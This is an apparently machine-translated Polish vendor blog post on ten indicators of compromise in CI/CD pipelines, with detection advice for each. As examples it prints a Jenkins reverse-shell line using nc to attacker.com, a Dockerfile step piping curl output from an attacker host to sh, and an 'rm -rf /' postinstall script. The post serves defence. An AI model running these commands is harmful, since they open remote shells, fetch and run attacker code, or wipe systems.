10 najważniejszych wskaźników zagrożenia w CI/CD Pipelines

Wprowadzenie: Jakie są wskaźniki zagrożenia w cyberbezpieczeństwie?

Wskaźniki zagrożenia są pierwszymi sygnałami ostrzegawczymi, że Twój system lub pipeline może być atakowany. Mówiąc prościej, wskaźniki kompromisu są to ślady pozostawione przez atakujących, takie jak dziwne logins, zmiany plików lub ukryte złośliwe oprogramowanie. W Cyberbezpieczeństwo MKOl, działają jak odciski palców na miejscu zbrodni, dając wyraźny dowód, że coś jest nie tak. Dlatego, gdy deweloperzy pytają jakie są wskaźniki zagrożeniaodpowiedź nie ogranicza się do serwerów i zapór sieciowych, obejmuje również zagrożenia ukryte w nowoczesnych CI/CD pipelines.

W tych pipelineAtakujący mogą manipulować kodem, wstrzykiwać złośliwe zależności lub zmieniać kroki kompilacji niezauważeni. Jednak większość poradników nadal koncentruje się wyłącznie na serwerach lub sieciach. W rezultacie łańcuch dostaw oprogramowania stał się jednym z najłatwiejszych celów.

Dlatego właśnie znalezienie wskaźników kompromisu w CI/CD pipelines jest niezbędny. Przede wszystkim pomaga zespołom blokować złośliwe oprogramowanie, chronić poufne informacje i zabezpieczać każdy etap dostarczania oprogramowania.

10 najważniejszych wskaźników zagrożenia w CI/CD Pipelines

Wyjaśniając wskaźniki zagrożenia, większość list koncentruje się na serwerach lub sieciach. Jednak w CI/CD pipelineAtakujący pozostawiają po sobie bardzo zróżnicowane odciski palców. Rozpoznanie tych sygnałów jest kluczowe dla proaktywnej obrony. Poniżej znajduje się 10 sygnałów ostrzegawczych IOC dotyczących cyberbezpieczeństwa, na które powinien zwrócić uwagę każdy programista i inżynier bezpieczeństwa.

1. Podejrzane zmiany zależności

Jednym z głównych wskaźników kompromisu w pipelines to nagła, nietypowa aktualizacja zależności. Atakujący często wykorzystują zaufanie, jakim programiści darzą menedżerów pakietów, aby dodawać niebezpieczne pakiety.

Na przykład w npm a package.json diff może nagle obejmować:

Takie zmiany mogą wydawać się bezpieczne, ale mogą powodować wstrzyknięcie zainfekowanego kodu do każdej kompilacji.

Wpływ: skompromitowane wersje dziedziczą złośliwe oprogramowanie u źródła.

Wykrycie: wymuszaj przeglądy zależności, śledź różnice plików blokad i skanuj nowe pakiety w dowolnym momencie.

2. Zaciemniony kod w kompilacjach 

Twórcy złośliwego oprogramowania wykorzystują zaciemnianie, aby ominąć kontrole. W rezultacie ten wskaźnik zagrożenia w CI/CD pipelines może być jednym z najtrudniejszych do wykrycia. W rzeczywistości zaciemnione ładunki często przedostają się do bibliotek open source lub obrazów kontenerów bez ostrzeżenia.

Na przykład:

  • Pakiet PyPI wykorzystujący base64.b64decode("cHJpbnQoSGFja2VkKQ==").
  • Obraz Dockera spakowany z niepotrzebnymi plikami binarnymi UPX.
  • JavaScript pełen \x41\x42 ucieka, ukrywając złodziei danych uwierzytelniających.

Wpływ: Ukryty kod jest wykonywany w trybie cichym podczas kompilacji lub działania, co sprawia, że ​​jest to krytyczny sygnał w kontekście cyberbezpieczeństwa IOC.
Wykrycie: Połączyć SAST skanowanie w poszukiwaniu złośliwego oprogramowania w celu oznaczenia zakodowanego lub spakowanego kodu. Przede wszystkim należy traktować zaciemnianie jako sygnał ostrzegawczy, który wymaga dalszego zbadania.

3. Tajemnice ujawnione w Git: klasyczne zagrożenie cyberbezpieczeństwa MKOl

CI/CD pipelines często dziedziczą sekrety bezpośrednio z repozytoriów. Jednak kiedy w Git pojawiają się sekrety, stają się jedną z najjaśniejszych odpowiedzi na pytanie „jakie są wskaźniki kompromisu w pipelines?” Gdy dane uwierzytelniające trafią do Gita, atakujący mogą je wykorzystywać w nieskończoność.

Na przykład:

  • A .env plik zawierający AWS_SECRET_KEY=.
  • Wprowadzono tokeny config.json.
  • Tajemnice nadal będą widoczne w historii Git nawet po ich usunięciu.

Wpływ: Ujawnione klucze dają atakującym bezpośredni dostęp do CI/CD pipelines, systemy chmurowe czy bazy danych. Jest to zatem jeden z najgroźniejszych wskaźników zagrożenia.
Wykrycie: Zastosowanie pre-commit hooks i zadania CI do tajnego skanowania i natychmiastowego unieważniania wykradzionych kluczy. Dodatkowo, egzekwowanie automatycznych działań naprawczych w celu skrócenia czasu narażenia.

4. Zmanipulowane Pipeline Konfiguracje: ukryte wskaźniki zagrożenia

Pipeline konfiguracje są celami o wysokiej wartości, ponieważ pojedyncza modyfikacja często zakłóca cały proces pracyW konsekwencji, sfałszowane pipeline pliki stanowią poważne zagrożenie cyberbezpieczeństwa IOC, które tradycyjne narzędzia monitorujące rzadko wykrywają.

Na przykład:

  • W akcjach GitHub:

  • W GitLab: dodano złośliwe zadanie .gitlab-ci.yml który usuwa poufne dane.
  • W Jenkinsie: sh "nc -e /bin/bash attacker.com 4444".

Wpływ: Te niezatwierdzone zmiany zmieniają Twoje pipeline w stałe tylne wejście dla atakujących, co wyraźnie wskazuje na zagrożenie.
Wykrycie: Egzekwuj podpisane konfiguracje, wymagaj zatwierdzeń PR i monitoruj nieoczekiwane zadania. Dodatkowo ustaw guardrails które automatycznie blokują zmienione przepływy pracy.

5. uprzywilejowany IaC Defaults 

Błędnie skonfigurowane definicje infrastruktury często tworzą ukryte tylne furtki. W rezultacie uprzywilejowane ustawienia domyślne w IaC stanowią klasyczne zagrożenie cyberbezpieczeństwa MKOl.

Na przykład:

  • Wdrożenie Kubernetes przyznające dostęp do kontenerów privileged: true.
  • Wykresy Helm udostępniające usługi z 0.0.0.0:22.

Wpływ: Atakujący uzyskują dostęp do poziomu root lub publicznie udostępniają usługi wewnętrzne. W rezultacie te problemy znacznie zwiększają powierzchnię ataku.
Wykrycie: Aplikuj IaC skanowanie w celu wymuszenia minimalnych uprawnień przed scaleniem. Dodatkowo upewnij się, że każda konfiguracja jest sprawdzana w ramach pipeline.

6. Nietypowe zachowania kompilacji 

Atakujący często zmieniają pipeline zachowanie, które może prowadzić do złośliwych działań. Innymi słowy, nietypowa aktywność kompilacji jest jedną z najjaśniejszych odpowiedzi na pytanie, co wskazuje na zagrożenie. CI/CD pipelines.

Na przykład:

  • Kompilacje wysyłające żądania sieciowe do dziwnych domen.
  • Projekt Node.js nagle uruchamia PowerShell podczas npm install.
  • Zadanie CI pobiera duże pliki binarne, które nie zostały zdefiniowane w skryptach kompilacji.

Wpływ: Zainfekowane kompilacje mogą pełnić rolę punktów dystrybucji złośliwego oprogramowania. Przede wszystkim rozprzestrzeniają złośliwe oprogramowanie w każdym wdrożeniu.
Wykrycie: Monitoruj logi kompilacji pod kątem nieoczekiwanych procesów lub połączeń. Ponadto skonfiguruj wykrywanie anomalii, aby sygnalizować zachowania odbiegające od normy.

7. Złośliwe skrypty pakietów jako zagrożenie dla cyberbezpieczeństwa IOC

Menedżerowie pakietów obsługują cykl życia hooks Złośliwe skrypty w npm, PyPI lub Dockerfiles są silnymi wskaźnikami zagrożenia.

Na przykład:

  • npm: postinstall skrypt uruchomiony rm -rf / lub sygnalizacja do C2.
  • PyPI: setup.py wykonywanie ukrytego kodu Pythona podczas instalacji.
  • Plik dockera: RUN curl attacker.sh | sh.

Wpływ: Atak jest przeprowadzany podczas instalacji, przed testowaniem w czasie wykonywania. W związku z tym programiści mogą go nie zauważyć, dopóki nie będzie za późno.
Wykrycie: Przeskanuj manifesty pakietów w poszukiwaniu skryptów instalacyjnych. Dodatkowo ogranicz ryzyko hooks in CI/CD miejsc pracy w celu zmniejszenia narażenia.

8. Wskaźniki zatrucia rejestru wskazujące na zagrożenie

Atakujący zastępują lub modyfikują artefakty w rejestrach, a zdarzenia te są podręcznikowymi przykładami wskaźników zagrożenia w łańcuchu dostaw pipelines.

Na przykład:

  • Tag obrazu Dockera został po cichu zaktualizowany za pomocą trojanizowanej warstwy.
  • Wewnętrzny pakiet został zastąpiony zatrutą wersją.
  • przywłaszczanie przestrzeni nazw npm, takie jak lodash-proxy.

Wpływ: Każda kompilacja wykorzystująca artefakt rejestru zostaje naruszona. Co więcej, zagrożenie rozprzestrzenia się na usługi podrzędne.
Wykrycie: Wymuś sprawdzanie podpisów i integralności wszystkich pobrań z rejestru. Dodatkowo śledź pochodzenie artefaktów za pomocą SBOM uprawomocnienie.

9. Anomalna aktywność użytkownika jako dowód MKOl

Zaatakowane konta prawie zawsze pozostawiają po sobie nietypowe ślady. Dlatego też nietypowe zachowanie programisty jest silnym wskaźnikiem zagrożenia.

Na przykład:

  • Commitzostał przesunięty o 3 nad ranem czasu lokalnego.
  • Zatwierdzenia PR przez konta na wakacjach.
  • Pipelines wyzwalane z nietypową częstotliwością.

Wpływ: Atakujący wykorzystują skradzione dane uwierzytelniające do wprowadzania złośliwych zmian. W końcu nieautoryzowane commitłatwo wkomponowują się w normalne procesy robocze.
Wykrycie: Monitorowanie SCM Monitoruj aktywność w poszukiwaniu anomalii, egzekwuj uwierzytelnianie wieloskładnikowe (MFA) i regularnie wymieniaj tokeny. Dodatkowo, alarmuj o podejrzanych commit lub wzorców akceptacji.

10. Nieudane kontrole integralności lub podpisu w cyberbezpieczeństwie MKOl

Częsty, ale ignorowany wskaźnik kompromisu to nieudana kontrola integralności lub podpisu. W cyberbezpieczeństwie IOC kontrole te weryfikują autentyczność kodu lub artefaktów. Pominięcie ich powoduje pipelinejest wystawiony.

Przykłady:

  • Suma kontrolna SHA256 nie jest zgodna z oczekiwaną sumą kontrolną.
  • Brakujący lub nieprawidłowy podpis GPG.
  • An SBOM pokazując niepodpisane artefakty.

Wpływ: Naruszenie integralności często oznacza manipulację, zatrucie rejestru lub wstrzyknięcie złośliwego oprogramowania.

Wykrycie: Zautomatyzuj sprawdzanie podpisów, wymuś walidację sum kontrolnych i blokuj niepodpisane komponenty. Przede wszystkim traktuj każde nieudane sprawdzenie jako wyraźny dowód naruszenia bezpieczeństwa.

CI/CD Wskaźniki zagrożenia w skrócie

Wskaźnik kompromitacji (IOC) Wpływ w CI/CD Pipelines Jak wykryć
Podejrzane zmiany zależności Napastnicy wstrzykują złośliwe biblioteki do menedżerów pakietów, co prowadzi do skompilowania niebezpiecznych wersji. Śledź różnice w plikach blokady, wymuszaj przeglądy zależności i skanuj zależności w sposób ciągły.
Zaciemniony kod w kompilacjach Ukryte ładunki są wykonywane w trakcie kompilacji lub w czasie wykonywania bez wykrycia. Zastosowanie SAST oraz skanowanie złośliwego oprogramowania w celu oznaczenia kodów base64, hex lub spakowanych.
Sekrety ujawnione w Git Wyciekłe tokeny lub klucze API umożliwiają atakującym bezpośredni dostęp do kluczowych systemów. Uruchamianie tajnych skanów w Git hooks i automatycznie unieważniać ujawnione dane uwierzytelniające.
Zmanipulowany Pipeline Konfiguracje Zmodyfikowane przepływy pracy umożliwiają eksfiltrację lub utrwalanie danych w systemie CI/CD. Wymagaj zatwierdzeń PR, wymuszaj podpisane konfiguracje i monitoruj pipeline zmiany.
Uprzywilejowany IaC Defaults Zbyt liberalne role lub niebezpieczne ustawienia domyślne narażają środowiska chmurowe. Przeskanuj pliki Terraform, Kubernetes i Helm pod kątem egzekwowania jak najmniejszych uprawnień.
Nietypowe zachowania kompilacji Pipelinewykorzystywane jako punkty dystrybucji złośliwego oprogramowania lub do przemieszczania się bocznego. Analizuj dzienniki kompilacji w celu wykrycia nieoczekiwanych pobrań, procesów lub połączeń wychodzących.
Złośliwe skrypty pakietów Ukryte skrypty przed/po instalacji wyzwalają ładunki przed przeprowadzeniem testów w czasie wykonywania. Blokuj ryzykowne skrypty npm/PyPI i ogranicz wykonywanie w CI/CD Oferty pracy.
Zatrucie rejestru Artefakty trojańskie zastępują zaufane obrazy lub pliki binarne w rejestrach. Weryfikuj sumy kontrolne, wymuszaj walidację podpisów i proaktywnie skanuj rejestry.
Nietypowa aktywność użytkownika Naruszone konta przesyłają złośliwe oprogramowanie commits lub spust pipelines. Wymuś uwierzytelnianie wieloskładnikowe, monitoruj commits dla anomalii i analizować login wzorce.
Nieudane kontrole integralności lub podpisu Oznacza zmodyfikowany kod, zależności lub obrazy wchodzące do pipeline. Zautomatyzuj sprawdzanie integralności i zablokuj niepodpisane lub niezgodne komponenty.

Dlaczego tradycyjne cyberbezpieczeństwo MKOl zawodzi CI/CD Ryzyko

Większość organizacji monitoruje już wskaźniki zagrożenia serwerów, komputerów i sieci. Jednak to klasyczne podejście do cyberbezpieczeństwa IOC ignoruje… CI/CD pipelines, które są obecnie jedną z najbardziej krytycznych powierzchni ataku. W rzeczywistości, pipelinepokazują unikalne sygnały zagrożenia, których tradycyjne narzędzia nie potrafią wykryć.

Wskaźniki zagrożenia w tradycyjnym bezpieczeństwie

W konwencjonalnym cyberbezpieczeństwie MKOl nacisk kładziony jest zwykle na:

  • Niezwykły loginadresy IP sugerujące kradzież danych uwierzytelniających.
  • Podejrzane skróty plików lub zmiany w rejestrze, które mogą ujawniać obecność złośliwego oprogramowania.
  • Nieoczekiwany ruch wychodzący wskazujący na wyciek danych.

Są to dobrze znane wskaźniki śledzone również w Framework MITER ATT & CK, który odwzorowuje typowe zachowania i taktyki przeciwników. To użyteczne sygnały. Dotyczą one jednak głównie systemów operacyjnych lub sieci korporacyjnych. W rezultacie pomijają subtelne manipulacje, które mają miejsce wcześniej w łańcuchu dostaw oprogramowania.

Czemu CI/CD Pipelines są różne

CI/CD pipelinesą zautomatyzowanymi środowiskami, w których programiści commit kod, zależności pull i kompilacje wydań. Atakujący wiedzą, że jedno naruszenie w tym miejscu ma wpływ na każde wdrożenie. W związku z tym, jakie są wskaźniki naruszenia w CI/CD pipelines? Wyglądają zupełnie inaczej:

  • Złośliwa zależność dodana po cichu do pliku package.json lub requirements.txt.
  • Klucze API lub tokeny udostępnione w Git commitPliki s lub .env.
  • Zaciemniony kod wstrzykiwany do pakietów npm lub PyPI.
  • Pliki Terraform lub Kubernetes z niebezpiecznymi ustawieniami domyślnymi, takimi jak privileged: true.
  • Pipeline zadania edytowane w celu wykradzenia danych lub otwarcia tylnych drzwi.

Te sygnały kompromisowe w CI/CD pozostać niewidocznym dla standard narzędzia bezpieczeństwa.

Luka w cyberbezpieczeństwie MKOl

Chociaż wiele zespołów rozumie wartość wskaźników zagrożenia, nadal polegają one wyłącznie na detekcji z serwerów i logów sieciowych. W związku z tym atakujący mogą zatruwać kompilacje lub wgrywać złośliwe oprogramowanie bez pozostawiania po sobie typowych śladów. Właśnie dlatego incydenty takie jak backdoor XZ Utils czy złośliwe pakiety npm pozostały niewykryte aż do momentu dotarcia do środowiska produkcyjnego.

Tego rodzaju kompromisy w łańcuchu dostaw są również podkreślane przez CISWskazówki dotyczące bezpieczeństwa łańcucha dostaw firmy A, który ostrzega, że ​​atakujący coraz częściej wybierają sobie za cel CI/CD pipelinei rejestrów.

Jedzenie na wynos

Tradycyjne cyberbezpieczeństwo MKOl jest konieczne, ale niewystarczające. Przede wszystkim zespoły muszą rozpoznawać oznaki zagrożenia specyficzne dla CI/CD pipelines. Dopiero wtedy mogą wykryć złośliwy kod lub pipeline nadużycia zanim rozprzestrzenią się one w innych środowiskach.

sca-tools-oprogramowanie-narzędzia-analizy-kompozycji
Określ priorytety, rozwiąż problemy i zabezpiecz zagrożenia związane z oprogramowaniem
Załóż darmowe konto.
Nie wymagamy karty kredytowej.

Zabezpiecz swoje oprogramowanie i dostarczanie

z pakietem produktów Xygeni